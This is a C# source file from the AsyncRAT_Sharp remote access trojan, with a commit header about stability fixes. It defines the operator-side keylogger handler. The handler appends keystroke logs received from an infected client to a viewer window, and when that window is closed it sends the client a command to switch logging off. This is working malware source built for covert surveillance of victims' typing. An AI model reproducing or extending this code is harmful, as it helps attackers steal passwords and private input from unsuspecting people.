NYAN CAT d5d60c0cb9 Update
fixed server and client stabilty
minor bugs fixes
2019-04-30 11:12:02 -07:00

37 lines
1.2 KiB
C#

using AsyncRAT_Sharp.Forms;
using AsyncRAT_Sharp.MessagePack;
using AsyncRAT_Sharp.Sockets;
using System;
using System.Diagnostics;
using System.Drawing;
using System.IO;
using System.Windows.Forms;
namespace AsyncRAT_Sharp.Forms
{
class HandleKeylogger
{
public HandleKeylogger(Clients client, MsgPack unpack_msgpack)
{
if (Program.form1.InvokeRequired)
{
Program.form1.BeginInvoke((MethodInvoker)(() =>
{
FormKeylogger KL = (FormKeylogger)Application.OpenForms["keyLogger:" + client.ID];
if (KL != null)
{
KL.richTextBox1.AppendText(unpack_msgpack.ForcePathObject("Log").GetAsString());
}
else
{
MsgPack msgpack = new MsgPack();
msgpack.ForcePathObject("Packet").AsString = "keyLogger";
msgpack.ForcePathObject("isON").AsString = "false";
client.BeginSend(msgpack.Encode2Bytes());
}
}));
}
}
}
}